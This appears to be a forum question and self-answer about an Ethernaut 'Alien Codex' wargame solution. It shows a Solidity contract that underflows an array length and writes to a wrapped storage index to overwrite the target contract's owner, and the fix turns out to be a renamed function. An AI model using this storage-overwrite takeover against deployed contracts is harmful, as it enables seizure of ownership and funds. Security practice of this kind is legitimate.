0

When i call attack() or exploit() function the remix shows Gas Estimation Failed. The code is copied from existing solution available on internet. so code is correct, can someone please help me why I am getting the Gas Estimation Failed popup window on Remix, and when I force the transaction it failed!

Any help appreciated thanks!

// SPDX-License-Identifier: MIT

pragma solidity ^0.8;

interface IAlienCodex {
    function owner() external view returns (address);
    function codex(uint256) external view returns (bytes32);
    function retract() external;
    function make_contact() external;
    function revise(uint256 i, bytes32 _content) external;
}

contract Hack {
    function attack(IAlienCodex target) external  {
        target.make_contact();
        target.retract();

        uint256 h = uint256(keccak256(abi.encode(uint256(1))));
        uint256 i;
        unchecked {
            // h + i = 0 = 2**256
            i -= h;
        }

        target.revise(i, bytes32(uint256(uint160(msg.sender))));
        require(target.owner() == msg.sender, "hack failed");
    }

    function exploit (IAlienCodex target) external {
        uint index = ((2 ** 256) - 1) - uint(keccak256(abi.encode(1))) + 1;
        bytes32 myAddress = bytes32(uint256(uint160(tx.origin)));
        target.make_contact();
        target.retract();
        target.revise(index, myAddress);
    }
}

1 Answer 1

1

Oh my bad got my mistake, actually in ethernaut solution available on internet has make_contact() function where as in updated ethernaut challenge it's makeContact() so in interface that is declared in code above should have makeContact() instead of make_contact(), it's a silly mistake, but anyone whoever got stuck in the challenge this might be the possible reason.

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service and acknowledge you have read our privacy policy.

Not the answer you're looking for? Browse other questions tagged or ask your own question.